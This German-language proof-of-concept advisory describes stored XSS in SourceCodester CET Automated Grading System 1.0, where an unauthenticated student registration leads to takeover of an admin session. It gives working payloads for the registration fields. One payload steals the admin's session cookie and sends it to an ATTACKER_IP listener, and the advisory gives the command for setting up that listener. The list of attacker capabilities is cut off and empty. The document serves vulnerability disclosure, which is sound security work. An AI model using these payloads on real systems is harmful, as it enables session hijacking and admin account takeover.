
Proof-of-Concept für gespeichertes XSS in SourceCodester CET Automated Grading System 1.0, das die nicht authentifizierte Payload-Injektion über die Schülerregistrierung demonstriert, die zur Übernahme der Admin-Sitzung führt.
| Feld | Wert |
|---|---|
| Anbieter | SourceCodester |
| Anbieter-URL | https://www.sourcecodester.com |
| Produkt | CET Automated Grading System mit KI-gestützter prädiktiver Analytik in PHP und MySQL |
| Produkt-URL | https://www.sourcecodester.com/php/18686/cet-automated-grading-system-ai-predictive-analytics-php-and-mysql.html |
| Version | 1.0 |
| Schwachstelle | Stored Cross-Site Scripting (XSS) |
| CWE | CWE-79 |
| CVSSv3-Score | 8.8 (Hoch) |
| Angriffsvektor | Netzwerk |
| Authentifizierung erforderlich | Keine (Studentenselbstregistrierung ist öffentlich) |
| Opfer | Administrator |
| Benutzerinteraktion | Erforderlich (Admin besucht Dashboard) |
| Forscher | Imad Alvi |
| Datum | 2026-04-13 |
Datei: PersonalAGS/index.php?action=register (Studentenregistrierung)
Parameter: student_id, full_name, section, username (POST)
Ausgelöst durch: PersonalAGS/index.php?action=dashboard (Admin-Dashboard)
Das Studentenselbstregistrierungsportal im CET Automated Grading System 1.0 bereinigt oder kodiert die vom Benutzer eingegebenen Daten nicht, bevor sie in der Datenbank gespeichert werden. Ein nicht authentifizierter Angreifer kann ein Studentenkonto mit JavaScript-Payloads registrieren, die in beliebige Registrierungsfelder injiziert werden. Die bösartige Payload wird in der Datenbank gespeichert und im Browser jedes Administrators ausgeführt, der das Dashboard besucht, auf dem die eingeschriebenen Studenten aufgelistet sind.
Dies ist eine kritische Angriffskette — für die Injektion der Payload ist keine Authentifizierung erforderlich, sie wird jedoch in einem privilegierten Admin-Kontext ausgeführt, was den Diebstahl von Sitzungscookies und die vollständige Übernahme des Admin-Kontos ermöglicht.
Navigieren Sie zur öffentlichen Studentenselbstregistrierungsseite:
http://localhost/cet-personalagms/PersonalAGS/index.php?action=register
Füllen Sie alle Felder mit XSS-Payloads aus und klicken Sie auf Konto registrieren:
"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>
Die Registrierung ist erfolgreich — die Payloads werden in der Datenbank gespeichert.
Wenn sich der Administrator anmeldet und das Dashboard besucht, wird die injizierte Payload sofort ausgeführt. Das Alert-Popup erscheint und das Seitenlayout wird durch das injizierte HTML sichtbar beschädigt — was bestätigt, dass die Payload im Admin-Panel unbereinigt gerendert wird.
Die Abschnittsüberschriften des Dashboards spiegeln ebenfalls die injizierten Werte wider:
1ST YEAR - SECTION 1ST YEAR" ONMOUSEOVE3RD YEAR - SECTION " ONLOAD=ALERT(1) X=
Ein Angreifer kann dies zu einer vollständigen Übernahme der Admin-Sitzung eskalieren, indem er die folgende Payload in den Registrierungsfeldern verwendet:
" onmouseover="new Image().src='http://ATTACKER_IP:8888/?c='+document.cookie" x="
Richten Sie einen Listener auf dem Angreiferrechner ein:
python3 -m http.server 8888
Wenn der Admin das Dashboard besucht, wird sein Sitzungscookie an den Server des Angreifers gesendet, was eine vollständige Kontenübernahme ermöglicht.
Ein nicht authentifizierter Angreifer kann:
Für die Injektion der Payload ist keine Authentifizierung erforderlich. Der Angriff wird automatisch ausgeführt, wenn ein Administrator das Dashboard besucht.